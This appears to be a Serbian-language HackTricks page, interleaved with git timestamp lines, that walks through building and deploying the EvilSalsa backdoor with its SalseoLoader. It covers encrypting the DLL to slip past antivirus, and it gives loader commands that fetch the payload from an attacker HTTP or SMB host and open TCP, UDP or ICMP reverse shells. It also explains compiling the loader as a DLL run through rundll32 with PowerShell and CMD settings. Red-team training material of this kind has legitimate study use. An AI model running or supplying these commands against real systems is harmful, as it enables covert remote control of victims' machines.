2024-04-06 19:39:21 +00:00
# Salseo
2024-07-18 22:15:30 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
< details >
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
< summary > Support HackTricks< / summary >
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2024-04-06 19:39:21 +00:00
< / details >
2024-07-18 22:15:30 +00:00
{% endhint %}
2024-04-06 19:39:21 +00:00
## Kompajliranje binarnih fajlova
2024-07-18 22:15:30 +00:00
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader** . Biće vam potreban **Visual Studio** instaliran da biste kompajlirali kod.
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Kompajlirajte te projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u ** "Platform Target".**
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
(\*\*Ako ne možete pronaći ove opcije, pritisnite na ** "Project Tab"** a zatim na ** "\<Project Name> Properties"**)
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 839 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla):
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 381 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
## Pripremite Backdoor
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Prvo, biće potrebno da kodirate **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly** :
2024-04-06 19:39:21 +00:00
### **Python**
```
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2024-07-18 22:15:30 +00:00
Ok, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **encoded EvilDalsa.dll** i **binary of SalseoLoader.**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
**Otpremite SalseoLoader.exe binarni fajl na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
## **Izvršite backdoor**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
### **Dobijanje TCP reverse shell-a (preuzimanje kodiranog dll-a putem HTTP-a)**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Zapamtite da pokrenete nc kao slušalac reverse shell-a i HTTP server da poslužite kodirani evilsalsa.
2024-04-06 19:39:21 +00:00
```
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-07-18 22:15:30 +00:00
### **Dobijanje UDP reverzibilne ljuske (preuzimanje kodirane dll preko SMB)**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Zapamtite da pokrenete nc kao slušača reverzibilne ljuske, i SMB server da posluži kodirani evilsalsa (impacket-smbserver).
2024-04-06 19:39:21 +00:00
```
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-07-18 22:15:30 +00:00
### **Dobijanje ICMP obrnute ljuske (kodirana dll već unutar žrtve)**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
**Ovoga puta vam je potreban poseban alat na klijentu da primite obrnutu ljusku. Preuzmite:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
#### **Onemogućite ICMP odgovore:**
2024-04-06 19:39:21 +00:00
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
2024-07-18 22:15:30 +00:00
#### Izvrši klijenta:
2024-04-06 19:39:21 +00:00
```
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-07-18 22:15:30 +00:00
#### Unutar žrtve, hajde da izvršimo salseo stvar:
2024-04-06 19:39:21 +00:00
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-07-18 22:15:30 +00:00
## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Otvorite SalseoLoader projekat koristeći Visual Studio.
2024-04-06 19:39:21 +00:00
### Dodajte pre glavne funkcije: \[DllExport]
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 409 ) . png > )
2024-04-06 19:39:21 +00:00
### Instalirajte DllExport za ovaj projekat
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 881 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
#### **Pretražite DllExport paket (koristeći Browse tab), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 100 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
U vašem projektnom folderu su se pojavili fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
2024-04-06 19:39:21 +00:00
### **De**instalirajte DllExport
2024-07-18 22:15:30 +00:00
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, to je neophodno)
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 97 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
### **Izađite iz Visual Studio i izvršite DllExport\_configure**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Jednostavno **izađite** iz Visual Studio
2024-04-06 19:39:21 +00:00
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
2024-07-18 22:15:30 +00:00
Izaberite **x64** (ako planirate da ga koristite unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport** ) i pritisnite **Primeni**
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 882 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
### **Ponovo otvorite projekat sa Visual Studio**
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
**\[DllExport]** više ne bi trebao biti označen kao greška
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 670 ) . png > )
2024-04-06 19:39:21 +00:00
### Izgradite rešenje
2024-07-18 22:15:30 +00:00
Izaberite **Tip izlaza = Klasa biblioteka** (Projekat --> SalseoLoader Svojstva --> Aplikacija --> Tip izlaza = Klasa biblioteka)
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 847 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Izaberite **x64** **platformu** (Projekat --> SalseoLoader Svojstva --> Izgradnja --> Ciljna platforma = x64)
2024-04-06 19:39:21 +00:00
2024-05-05 22:40:09 +00:00
![](< .. / . gitbook / assets / image ( 285 ) . png > )
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Da **izgradite** rešenje: Izgradnja --> Izgradi rešenje (Unutar izlazne konzole će se pojaviti putanja novog DLL-a)
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
### Testirajte generisani DLL
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Kopirajte i nalepite DLL gde želite da ga testirate.
2024-04-06 19:39:21 +00:00
Izvršite:
```
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 22:15:30 +00:00
Ako se ne pojavi greška, verovatno imate funkcionalni DLL!!
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
## Dobijanje shel-a koristeći DLL
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
2024-04-06 19:39:21 +00:00
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 22:15:30 +00:00
{% hint style="success" %}
Učite i vežbajte AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Učite i vežbajte GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
< details >
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
< summary > Podržite HackTricks< / summary >
2024-04-06 19:39:21 +00:00
2024-07-18 22:15:30 +00:00
* Proverite [**planove pretplate** ](https://github.com/sponsors/carlospolop )!
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2024-04-06 19:39:21 +00:00
< / details >
2024-07-18 22:15:30 +00:00
{% endhint %}